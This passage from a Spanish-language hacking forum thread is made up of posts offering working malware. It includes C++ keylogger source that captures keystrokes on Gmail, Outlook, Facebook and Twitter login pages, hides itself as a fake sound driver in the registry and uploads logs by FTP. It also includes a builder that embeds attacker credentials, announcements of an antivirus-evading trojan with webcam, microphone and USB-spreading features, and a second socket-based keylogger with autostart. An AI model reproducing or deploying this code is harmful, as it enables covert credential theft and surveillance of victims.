iCloseHandle = ( _iCloseHandle ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetCloseHandle" );
iSend = ( _iSend ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "FtpPutFileA" );

Request = iOpen ( "Windows Update common", 1, 0, 0, 0 );
if ( Request == 0L ) {
iCloseHandle ( Request );

return false;
}

Connection = iConnect ( Request, Server, 21, UserName, Password, 1, 0, 0 );
if ( Connection == 0L ) {

iCloseHandle ( Connection );
iCloseHandle ( Request );

return false;
}

if ( iSend ( Connection, FileNameLocal, FileNameRemote, 2, 0 ) == FALSE ) {

iCloseHandle ( Connection );
iCloseHandle ( Request );

return false;
}
else
{
DeleteFileA ( FileNameLocal );
}

iCloseHandle ( Request );
iCloseHandle ( Connection );

return true;
}

BOOL CALLBACK EnumChildProc ( HWND hwnd, LPARAM lParam )
{
char Text [ 256 ], Classes [ 256 ];
GetWindowText ( hwnd, Text, 255 );
SYSTEMTIME time;

GetClassName ( hwnd, Classes, 255 );

if ( ( hwnd == GetForegroundWindow() ) && IsWindowVisible ( hwnd ) )
{
if ( ( lstrcmpA ( Classes, "Chrome_WidgetWin_1" ) == 0 ) && ( lstrlenA ( Text ) >= 1 ) )
{
GetSystemTime ( &time );
salida = fopen ( path, "a+" );
fprintf ( salida, "[%s] - [%d/%d/%d - %d:%d:%d%:%dms]\n", Text, time.wDay, time.wMonth, time.wYear, time.wHour, time.wMinute, time.wSecond, time.wMilliseconds );
fclose ( salida );

//Si detectamos gmail o hotmail, yahoo.
if ( ( lstrcmpA ( Text, "Gmail - Google Chrome" ) == 0 ) ||
( lstrcmpA ( Text, "Outlook - Google Chrome" ) == 0 ) || ( lstrcmpA ( Text, "Yahoo - Google Chrome" ) == 0 )
|| ( lstrcmpA ( Text, "Iniciar sesión - Google Chrome" ) == 0 ) || ( lstrcmpA ( Text, "Facebook - Inicia sesión o regístrate - Google Chrome" ) == 0 )
|| ( lstrcmpA ( Text, "Bienvenido a Twitter - Inicia sesión o regístrate - Google Chrome" ) == 0 ) )
{
HANDLE Thread;
DWORD key;

Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Keyboard_Trap, 0, 0, &key );
if ( Thread )
{
WaitForSingleObject ( Thread, ( 4 * 60000 ) ); // 4 minutos.
}

CloseHandle ( Thread );
UnhookWindowsHookEx ( hHook );
}

}
else if ( ( lstrcmpA ( Classes, "MozillaWindowClass" ) == 0 ) && ( lstrlenA ( Text ) >= 1 ) )
{
GetSystemTime ( &time );
salida = fopen ( path, "a+" );
fprintf ( salida, "[%s] - [%d/%d/%d - %d:%d:%d%:%dms]\n", Text, time.wDay, time.wMonth, time.wYear, time.wHour, time.wMinute, time.wSecond, time.wMilliseconds );
fclose ( salida );

//Si detectamos gmail o hotmail, yahoo.
if ( ( lstrcmpA ( Text, "Gmail - Mozilla Firefox" ) == 0 ) ||
( lstrcmpA ( Text, "Outlook - Mozilla Firefox" ) == 0 ) || ( lstrcmpA ( Text, "Yahoo - Mozilla Firefox" ) == 0 )
|| ( lstrcmpA ( Text, "Iniciar sesión - Mozilla Firefox" ) == 0 ) || ( lstrcmpA ( Text, "Facebook - Inicia sesión o regístrate - Mozilla Firefox" ) == 0 )
|| ( lstrcmpA ( Text, "Bienvenido a Twitter - Inicia sesión o regístrate - Mozilla Firefox" ) == 0 ) )
{
HANDLE Thread;
DWORD key;

Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Keyboard_Trap, 0, 0, &key );
if ( Thread )
{
WaitForSingleObject ( Thread, ( 4 * 60000 ) ); // 4 minutos.
}

CloseHandle ( Thread );
UnhookWindowsHookEx ( hHook );
}

}
}

return TRUE;
}

LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam )
{
char keyname [ 256 ];

if ( nCode < 0 )
{
return CallNextHookEx ( hHook, nCode, wParam, lParam );
}

if ( wParam == WM_KEYDOWN )
{

PKBDLLHOOKSTRUCT keyboard = reinterpret_cast <PKBDLLHOOKSTRUCT>(lParam);
int ScanCode = MapVirtualKeyEx ( keyboard -> vkCode, 0, GetKeyboardLayout ( 0 ) );
GetKeyNameText ( ScanCode << 16, keyname, 255 );

salida = fopen ( path, "a+" );
if ( lstrlenA ( keyname ) > 1 )
{
fprintf ( salida, " %s ", keyname );
}
else
{
fprintf ( salida, "%s", keyname );
}

fclose ( salida );
}

return CallNextHookEx ( hHook, nCode, wParam, lParam );
}

DWORD __stdcall Keyboard_Trap ( VOID )
{

hHook = SetWindowsHookEx ( WH_KEYBOARD_LL, ( HOOKPROC ) Keyboard, GetModuleHandle ( 0L ), 0L );

while ( ! GetMessage ( &msg, 0, 0, 0 ) )
{
TranslateMessage ( &msg );
DispatchMessage ( &msg );
}

UnhookWindowsHookEx ( hHook );

return 0;
}

LPSTR __stdcall Split ( IN LPSTR lpszString, IN CHAR Delimiter )
{
register DWORD bytes = 0;
for ( bytes; bytes <= lstrlenA ( lpszString ); bytes ++ )
{
if ( lpszString [ bytes ] == Delimiter )
{
return lpszString + ( bytes + 1 );
}
}

return lpszString;
}

BOOL __stdcall ifCharacter ( IN LPSTR lpszString, IN CHAR pCharacter )
{
register DWORD bytes = 0;
for ( bytes; bytes <= lstrlenA ( lpszString ); bytes ++ )
{
if ( lpszString [ bytes ] == pCharacter )
{
return TRUE;
}
}

return FALSE;
}

int __stdcall GetMyName ( IN char name [ 256 ] )
{

char szExeName [ MAX_PATH + 1 ];
DWORD dwbytes;

_QueryFullProcessImageName QueryFullProcessImageName = ( _QueryFullProcessImageName )
GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) "KERNEL32.DLL" ), "QueryFullProcessImageNameA" );

HANDLE Process = OpenProcess ( PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId () );
if ( ! Process )
{
CloseHandle ( Process );
return -1;
}

QueryFullProcessImageName ( Process, 0, name, &dwbytes );
CloseHandle ( Process );

return 0;
}

BOOL __stdcall GetBuffer ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN LPDWORD dwSize )
{

HANDLE File;
DWORD dwFileSize, dwBytes;

File = CreateFileA ( lpszPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
return FALSE;
}

dwFileSize = GetFileSize ( File, 0 );
*dwSize = dwFileSize;

ReadFile ( File, pBuffer, dwFileSize, &dwBytes, 0 );
CloseHandle ( File );

return TRUE;

}

DWORD __stdcall GetSizeFile ( IN LPSTR lpszPath )
{

HANDLE File;
DWORD dwFileSize, dwBytes;

File = CreateFileA ( lpszPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
return 0;
}

dwFileSize = GetFileSize ( File, 0 );

CloseHandle ( File );

return dwFileSize;

}

BOOL __stdcall FileWrite ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN DWORD dwSize )
{
HANDLE File;
DWORD dwBytes;

File = CreateFileA ( lpszPath, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, ATTR, 0 );
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
return FALSE;
}

WriteFile ( File, pBuffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );

return TRUE;
}

BOOL __stdcall FileExists ( IN LPSTR lpszPath )
{
DWORD Attributes;
Attributes = GetFileAttributesA ( lpszPath );

if ( Attributes == INVALID_FILE_ATTRIBUTES )
{
return FALSE;
}
else
{
return TRUE;
}

return FALSE;
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

DWORD dwSize;
DWORD tmp;
HKEY key;

SYSTEMTIME time;
GetLocalTime ( &time );

PUT_LOGGER Logger;

int Hour = time.wHour; //Hora de comienzo.

if ( Hour == 12 || Hour == 0 )
{
Hour = 1;
}

char path_inf [ MAX_PATH + 1 ];
char encrypted [ MAX_PATH + 1 ];

char one [ 10 ] = "Sof";
char two [ 20 ] = "\\Micro";
char three [ 50 ] = "dows\\Curre";
char four [ 50 ] = "\\Ru";
char dop [ 150 ];

if ( lstrlenA ( one ) > 0 )
{

wsprintfA ( encrypted, "%stware%ssoft\\Win%sntVersion%sn", one, two, three, four );
wsprintfA ( path_inf, "%s\\system\\%slogical.%s", getenv ( "windir"), "driver", "exe" );
wsprintfA ( dop, "Driver %s", "Sound" );
wsprintfA ( path, "%s\\config.inf", getenv ( "windir" ) );
}

HWND hwnd = GetDesktopWindow ();

char myname [ MAX_PATH + 1 ];
GetMyName ( myname );

LPSTR Bufferx = ( LPSTR ) ALLOC ( GETSIZE ( myname ) );
GetBuffer ( myname, Bufferx, &dwSize );

FileWrite ( path_inf, Bufferx, dwSize );

if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, encrypted, 0, (0x0002), &key ) == ERROR_SUCCESS )
{
RegSetValueExA ( key, dop, 0, REG_SZ, ( const unsigned char *) myname, ( BYTE ) lstrlenA ( myname ) );
}

RegCloseKey ( key );

for ( DWORD i = 0; i <= dwSize; i ++ )
{
if ( Bufferx [ i ] == '*' && Bufferx [ i + 1 ] == '+' &&
Bufferx [ i + 2 ] == '+' && Bufferx [ i + 3 ] == '*' )
{
Bufferx += ( i + 4 );
dwSize -= ( i + 4 );
}
}

LPSTR Primero, User, Pass, SERVER;

User = ( LPSTR ) ALLOC ( MAX_PATH );
Pass = ( LPSTR ) ALLOC ( MAX_PATH );
SERVER = ( LPSTR ) ALLOC ( MAX_PATH );
Primero = ( LPSTR ) ALLOC ( 600 );

if ( ifCharacter ( Bufferx, ',' ) )
{
Primero = Split ( Bufferx, ',' );
}
else
{
FREE ( Bufferx );
FREE ( Primero );
FREE ( User );
FREE ( Pass );
FREE ( SERVER );

return EXIT_FAILURE;
}

register DWORD bytes = 0;

for ( bytes; bytes <= lstrlenA ( Primero ); bytes ++ )
{
if ( Primero [ bytes ] != ',' )
{
CopyMemory ( & SERVER [ bytes ], & Primero [ bytes ], 1 );
}
else
{
Primero += ( bytes + 1 );
break;
}
}

bytes = 0;

for ( bytes; bytes <= lstrlenA ( Primero ); bytes ++ )
{
if ( Primero [ bytes ] != ',' )
{
CopyMemory ( & User [ bytes ], & Primero [ bytes ], 1 );
}
else
{
Primero += ( bytes + 1 );
break;
}
}

CopyMemory ( & Pass [ 0 ], & Primero [ 0 ], lstrlenA ( Primero ) );
FREE ( Primero );
FREE ( Bufferx );

char tmp_log [ 256 ];

while ( 1 )
{

GetLocalTime ( & time );
if ( time.wMinute == Hour + 1 )
{
wsprintfA ( tmp_log, "archivo de %d:%d:%d - %d-%d-%d.txt", time.wHour, time.wMinute, time.wSecond, time.wDay, time.wMonth, time.wYear );
Logger.ToFile ( SERVER, User, Pass, path, tmp_log );

if ( Hour == 12 || Hour == 0 )
{
Hour = 1;
}
}

if ( ! FileExists ( path_inf ) )
{
FileWrite ( path_inf, Bufferx, dwSize );
if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, encrypted, 0, (0x0002), &key ) == ERROR_SUCCESS )
{
RegSetValueExA ( key, dop, 0, REG_SZ, ( const unsigned char *) myname, ( BYTE ) lstrlenA ( myname ) );
}

RegCloseKey ( key );
}

for ( int i = 0; i <= 1; i ++ )
{
EnumChildWindows ( hwnd, EnumChildProc, 0 );
Sleep ( 2000 );
}
}

FREE ( User );
FREE ( Pass );
FREE ( SERVER );

return EXIT_SUCCESS;
}



Generador

Código: vbnet

Public Class Form1

    Dim ff As Long
    Dim buffer As String

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        End
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If Not TextBox1.Text = "" And Not TextBox2.Text = "" And Not TextBox3.Text = "" Then
            ff = FreeFile()

            FileOpen(1, "STUB.DLL", OpenMode.Binary, OpenAccess.Read, OpenShare.LockRead)
            buffer = Space(LOF(ff))
            FileGet(1, buffer)
            FileClose(1)

            FileOpen(1, "Generado.exe", OpenMode.Binary, OpenAccess.Write, OpenShare.LockWrite)
            FilePut(1, buffer & "*++*," & TextBox1.Text & "," & TextBox2.Text & "," & TextBox3.Text)
            FileClose(1)

            MsgBox("Compilado con exito", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Exito")

            TextBox1.Text = ""
            TextBox2.Text = ""
            TextBox3.Text = ""

            TextBox1.Focus()
        End If
    End Sub

    Private Sub Form1_Activated(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Activated
        TextBox1.Focus()
    End Sub

End Class



Bueno ya lo resubi y me dio FUD 0/56 , si se que no debi haberlo subido a virustotal, pero queria un analicis completo, ya luego si se detecta lo vuelvo a resubir FUD.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean

Aqui el link de descarga
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PASS : xxneeco83xx
#10
Hola ! aqui una nueva actualizacion del programa.
Como había comentado ya antes en el ultimo post estaba trabajando en lo que es el FileManager v2.
Y aproveche para armar otros proyectos de por medio y trabajar de a ratos en el troyano.
Aquí las updates del dia.

NOTA :
NO SUBIR A No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



ACTUALIZADO 14/08/2015 :

*FileManager Actualizado
+Se agrego menú contextual con las opciones disponibles
+Crear carpeta
+Borrar
+Descargar
+Actualizar
+Subir
**Ahora el FileManager incorporo los directorios fijos [Escritorio], [Archivos de Programa], [Temporales], etc.
*Se corrigió el botón Atrás.
*Se corrigió el error que hacia perder el directorio de los archivos luego de presionar Atrás.
*Al enviar archivos y descargar los mismos por medio de FileManager, la barra de progreso informara el estado de descarga/subida.

*Se corrigió un error en Windows x64. ahora es compatible.
*Se agrego un intervalo para el envió de datos extensos, así evitando la perdida de los mismos.
*Envió de teclas actualizado [Ahora permite el envió de teclas especiales de esta manera]
+ {ENTER}, {ESC}, {ALT}
+ Mensajes completos a ser enviados.

*Se agrego método de encryptacion propio, para las cadenas de texto y registros de lectura.
*Se corrigió el método de borrar archivos a la hora de eliminar carpetas

*En cliente se modifico el skin
*Se corrigieron algunos errores de programación


ACTUALIZADO 04/08/2015 :

*Se incorporo un nuevo comando (Revisar ventanas abiertas)
*Se agrego en el administrador de tareas remoto, la ruta del proceso activo (ejecutado)


ACTUALIZADO 03/08/2015:

*En cliente - se quito la transparencia de los formularios
*Se corrigió un error que hacia que el servidor crasheara repentinamente.
(ahora es estable en todos los sistemas)
*Se agrego auto-size (se ajusta a todas las resoluciones de pantalla) y los formularios
ahora son resizables, minimizables y maximizables.
*Se corrigió un error que no permitía ejecutar en Windows XP (Servidor)
*Se corrigió un error de ScreenShot perdía demasiadas imágenes (Cliente)
*Se corrigió un bug en el script batch que mantenía ejecutado el programa
(ahora no ejecuta tantas veces el proceso cmd.exe & conhost.exe)
si el script es cerrado, cerrara todo y se volverá a auto-ejecutar.
*En el keylogger offline, en algunos SO daba error al insertar el HOOK.
(Se corrigió, y ahora funciona correctamente, sin problemas)
*Servidor (Se quito código basura, y se reestructuraron algunas partes de código)
*Se cambio la imagen de splash de inicio & saber más!
*Se cambio la imagen de sonido de ambiente que suena cuando se presiona datos de autor. (Saber Más!)
*Se cambio el lugar donde se escribe el registro de inicio.
*Se acortaron algunos intervalos de espera para la reconexion.
*Testeado en Ordenadores con los siguientes antivirus instalados
(Windows XP - Avast 4.8) - ( Windows Seven Ultimate - Avast 5)
(Windows 8.1 - Bitdefender ) - ( Windows 10 - ESET 8 )
(Windows 8 - AVG )
Ningun antivirus detecto ninguna heuristica, ni nada sospechoso.
Peso del servidor con UPX - 55KB, peso del servidor sin UPX 172KB.


ACTUALIZADO 01/08/15:
*Se redujo el tamaño del stub ( server ) ( 50kbs aprox )
*Se quito el icono predeterminado
*Se mejoro el rendimiento y velocidad
*Se corrigió el problema de muchas ejecuciones del mismo servidor
*Se cambio el método de obtener las teclas presionadas, ahora se utiliza HOOKS en el teclado y ya no mas el API GetAsyncKeyState que consumía demaciados recursos
y hacia que fuera mucho mas sospechoso
*Se corrigió un error que hacia cerrar el servidor ni bien era ejecutado en algunos casos.
*Des-habilita el UAC sin notificación.
*En el cliente se cambio el Skin y la música de ambiente, en el botón Saber mas!
*Se comentaron mas lineas de código y algunas funciones fueron re-programadas.

ACTUALIZADO 29/07/15:
*Se corrigió el PASS del RAR para que puedan descomprimirlo
*Se corrigió bug en el FileManager, a la hora de descargar un archivo desde el remoto este daba un nombre indebido.
*Se corrigió un bug's en la captura de pantalla cuando este cliente recibía demasiadas, ahora corre sin problemas.
*Se añadió un modulo que hace que si el servidor se cierra, o lo cierran, desconecta y demás, este sera de nuevo ejecutado.
*Se simplificaron varias lineas de código.


ACTUALIZADO 28/07/15:
*Se corrigió el error de auto-inicio (este no iniciaba correctamente)
*Se agrego función de subir archivos a rutas determinadas en el FileManager
*Se modificaron varios formularios, y se mejoro la accesibilidad para el usuario.
*Se corrigieron mensajes mal impresos.



Algunas funciones :

*Keylogger offline & Online
*Monitoreo de la victima, WebCam & Escritorio remoto.
*FileManager (Manejo de archivos remotos)
*Envio de archivos, y recibir archivos remotos.
*Downloader
*Spread USB|P2P
*Payloads (Diversion del usuario con la victima)
*Escuchar microfono remoto
*Envio de mensajes
*Manejo de servicios
*Desactivar Firewall
*Conexiones multiples
*Soporta UPX compresion.
*Es bastante estable
*Consta con muchas opciones mas.


En que sistema funciona ?
Multi SO - XP/Vista/Seven/8/10


























Analize el servidor en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. aqui los resultados.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Scanner   Engine Ver   Sig Ver   Sig Date   Scan result   Time

ahnlab   9.9.9   9.9.9   2013-05-28   Found nothing
antivir   1.9.2.0   1.9.159.0   7.11.250.172   Found nothing
antiy   AVL SDK 3.0   2014112615531100   2014-11-26   Found nothing
arcavir   1.0   2011   2014-05-30   Found nothing
asquared   9.0.0.4157   9.0.0.4157   2014-07-30   Found nothing
avast   150727-1   4.7.4   2015-07-27   Found nothing
avg   2109/8526   10.0.1405   2015-01-30   Found nothing
baidu   2.0.1.0   4.1.3.52192   2.0.1.0   Trojan.Backdoor.Heur.gen
baidusd   1.0   1.0   2014-04-02   Found nothing
bitdefender   7.58879   7.90123   2015-01-16   Found nothing
clamav   20725   0.97.5   2015-07-26   PUA.Win32.Packer.UpxProtector
comodo   15023   5.1   2014-11-24   Found nothing
ctch   4.6.5   5.3.14   2013-12-01   Found nothing
drweb   5.0.2.3300   5.0.1.1   2015-07-21   Found nothing
fortinet   26.983   5.1.158   2015-07-27   Found nothing
fprot   4.6.2.117   6.5.1.5418   2015-07-27   W32/Felix:VC_program!Eldorado
fsecure   2014-04-02-01   9.13   2014-04-02   Found nothing
gdata   24.3819   24.3819   2014-08-29   Found nothing
hauri   2.73   2.73   2014-06-13   Found nothing
ikarus   1.06.01   V1.32.31.0   2015-07-27   Found nothing
jiangmin   16.0.100   1.0.0.0   2014-07-28   Found nothing
kaspersky   5.5.33   5.5.33   2014-04-01   Found nothing
kingsoft   2.1   2.1   2013-09-22   Found nothing
mcafee   7638   5400.1158   2014-11-30   Found nothing
nod32   1777   3.0.21   2015-06-12   Found nothing
panda   9.05.01   9.05.01   2014-06-15   Found nothing
pcc   11.816.07   9.500-1005   2015-07-27   Found nothing
qh360   1.0.1   1.0.1   1.0.1   Found nothing   
qqphone   1.0.0.0   1.0.0.0   2015-07-28   Found nothing   
quickheal   14.00   14.00   2014-06-14   Found nothing   
rising   25.17.00.04   25.17.00.04   2014-06-02   Found nothing   
sophos   5.08   3.55.0   2014-12-01   Found nothing
sunbelt   3.9.2589.2   3.9.2589.2   2014-06-13   Found nothing   
symantec   20150721.001   1.3.0.24   2015-07-21   Found nothing   
tachyon   9.9.9   9.9.9   2013-12-27   Found nothing   3
thehacker   6.8.0.5   6.8.0.5   2014-06-12   Posible_Worm32   
tws   17.47.17308   1.0.2.2108   2014-06-16   Found nothing   
vba   3.12.26.4   3.12.26.4   2015-07-27   Found nothing   
virusbuster   15.0.985.0   5.5.2.13   2014-12-05   Found nothing   

El servidor esta programado en C++, y el cliente en Visual Basic 6.0
Al que le interese el código, simplemente que me mande un MP.

Aqui sin mas les dejo el programa, cualquier duda, reporte de bug, comentario u opinión son bien recibidos, mientras mas grande sea el apoyo, mas incita a continuar el programa, muchas gracias!!


TROYANO JUNTO CON SU CODIGO + Plus - Una vacuna en caso de infección y su codigo.

Nuevo Link 14/08/2015

Link de la carpeta del proyecto

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Link directo del rar con codigo y binarios
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PASS : xxneeco83xx


*TRABAJANDO ACTUALMENTE EN : Nuevas funciones
   8)
#11
Hola!  ;D andaba jugando un poco con los thread, y el hook, se me ocurrio hacer un mini keylogger.
Para agregarle a un troyano que tengo casi terminado, que también tengo pensado postear.
Pero al final veo que me quedare con otro metodo que tengo.
este metodo lo analize y me dio 2/56 antivirus.
Este se autoagrega al registro, y crea un hook en teclado y mouse. funciona con un servidor que lo que hace es conectarse, recibir el logger, y cerrarse.
Tiene muchas cosas por mejorar, pero quizás a alguien le interese y le sirva, pues bien.
En fin su método para trabajar es así, captura todo tipo de tecla, cuando detecta una conexion del cliente (conexion inversa) envia el log, borra el antiguo y sigue esperando otra conexion.

Código: c

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

#ifndef port_number
#define port_number 100
#endif

#ifndef host_name
#define host_name "127.0.0.1"
#endif

void CALLBACK SendFile ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
void CALLBACK Connect ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
void CALLBACK InyectSystem ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam );
DWORD WINAPI Inyect ( LPVOID lParam );

HHOOK hHook, MouseHook;
MSG msg;
DWORD thread, firstthread, dwBytes, threadconnect, cbSize = 256, SizeX, sendthread;
HANDLE Thread, FirstThread, ThreadConnect, FileX, Mutex, SendThread;

LPSTR AppName, Directory, Buffer, BufferX;

FILE *keylog;
char keylogger [ MAX_PATH + 1 ];
HKEY key;

PPERF_DATA_BLOCK Data;
WSADATA wsa;
WORD wVersion;
SOCKADDR_IN address;
SOCKET sock;
struct hostent * host;

void CALLBACK SendFile ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
{

FileX = CreateFile ( keylogger, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, 0, 0 );

if ( FileX == INVALID_HANDLE_VALUE )
{
closesocket ( sock );
WSACleanup ();

return;
}

SizeX = GetFileSize ( FileX, 0 );
BufferX = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( SizeX + 1 ) );
ReadFile ( FileX, BufferX, SizeX, &dwBytes, 0 );
CloseHandle ( FileX );

if ( send ( sock, BufferX, SizeX, 0 ) == SOCKET_ERROR )
{
printf ( "[ Error al enviar Log ]\n" );
}
else
{
printf ( "[ Exito al enviar log ]\n" );
//Eliminamos el log ya enviado.
DeleteFileA ( keylogger );
}

closesocket ( sock );
WSACleanup ();

return;

}

void CALLBACK Connect ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
{

wVersion = MAKEWORD ( 2, 2 );
ZeroMemory ( &address, sizeof ( SOCKADDR_IN ) );

if ( WSAStartup ( wVersion, &wsa ) != NO_ERROR )
{
printf ( " [ Error al inicializar el winsock ] \n" );
WSACleanup ();

return;
}

sock = socket ( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( sock == INVALID_SOCKET )
{
printf ( " [ Error al intentar crear socket ] \n" );
closesocket ( sock );
WSACleanup ();

return;
}

host = gethostbyname ( host_name );

address.sin_family = AF_INET;
address.sin_addr = *( ( struct in_addr * ) host -> h_addr_list [ 0 ] );
address.sin_port = htons ( port_number );
memset ( address.sin_zero, 0, 8 );

if ( connect ( sock, ( SOCKADDR *)&address, sizeof ( SOCKADDR ) ) != 0 )
{
printf ( " [ Error al intentar conectar con el servidor ] \n" );
closesocket ( sock );
WSACleanup ();

return;
}

printf ( " [ Conexion establecida con el servidor ]\n" );

SendThread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )SendFile, 0, 0, &sendthread );
if ( SendThread )
{
WaitForSingleObject ( SendThread, 5000 );
}

closesocket ( sock );
WSACleanup ();

return;

}

void CALLBACK InyectSystem ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
{

ThreadConnect = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) Connect, 0, 0, &threadconnect );

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

Directory = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
GetEnvironmentVariableA ( "HomeDrive", Directory, MAX_PATH );

CopyMemory ( & Directory [ lstrlenA ( Directory ) ], &"\\userboot.exe", lstrlenA ( "userboot.exe" ) + 1 );

CopyFileA ( AppName, Directory, true );

if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &key ) == ERROR_SUCCESS )
{
Data = ( PPERF_DATA_BLOCK ) LocalAlloc ( ( 0x0000 | 0x0040 ), 256 );
if ( RegQueryValueExA ( key, "Windows Boot", 0, 0, ( LPBYTE ) Data, &cbSize ) != ERROR_SUCCESS )
{
RegSetValueExA ( key, "Windows Boot", 0, REG_SZ, (const unsigned char*) Directory, ( BYTE ) lstrlenA ( Directory ) );
}

SetFileAttributesA ( Directory, ( 0x1 | 0x2 | 0x4 ) );

GlobalFree ( Data );
}

RegCloseKey ( key );

GlobalFree ( AppName );
GlobalFree ( Directory );

return;

}

LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam )
{

if ( lstrlenA ( keylogger ) <= 0 )
{
wsprintfA ( keylogger, "%s\\logger.inf", getenv ( "windir" ) );
}

Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) InyectSystem, 0, 0, &thread );

if ( nCode < 0 )
{
return CallNextHookEx ( hHook, nCode, wParam, lParam );
}

if ( wParam == WM_KEYDOWN )
{
PKBDLLHOOKSTRUCT teclado = ( PKBDLLHOOKSTRUCT ) lParam;

keylog = fopen ( keylogger, "a+" );

switch ( teclado -> vkCode )
{

case 13:
fprintf ( keylog, "\n" );
break;

case VK_NUMPAD0:
fprintf ( keylog, "0" );
break;

case VK_NUMPAD1:
fprintf ( keylog, "1" );
break;

case VK_NUMPAD2:
fprintf ( keylog, "2" );
break;

case VK_NUMPAD3:
fprintf ( keylog, "3" );
break;

case VK_NUMPAD4:
fprintf ( keylog, "4" );
break;

case VK_NUMPAD5:
fprintf ( keylog, "5" );
break;

case VK_NUMPAD6:
fprintf ( keylog, "6" );
break;

case VK_NUMPAD7:
fprintf ( keylog, "7" );
break;

case VK_NUMPAD8:
fprintf ( keylog, "8" );
break;

case VK_NUMPAD9:
fprintf ( keylog, "9" );
break;

case VK_ESCAPE:
fprintf ( keylog, " [ ESC ]" );
break;

default:
fprintf ( keylog, "%c", teclado -> vkCode );
}

free ( teclado );

fclose ( keylog );
}

return CallNextHookEx ( hHook, nCode, wParam, lParam );
}

DWORD WINAPI Inyect ( LPVOID lParam )
{

if ( GetLastError () == ERROR_ALREADY_EXISTS )
{
ExitProcess ( 0 );
}

hHook = SetWindowsHookEx ( WH_KEYBOARD_LL , (HOOKPROC) Keyboard, GetModuleHandleA ( 0L ), 0L );
MouseHook = SetWindowsHookEx ( WH_MOUSE_LL, (HOOKPROC) Keyboard, GetModuleHandleA ( 0L ), 0L );

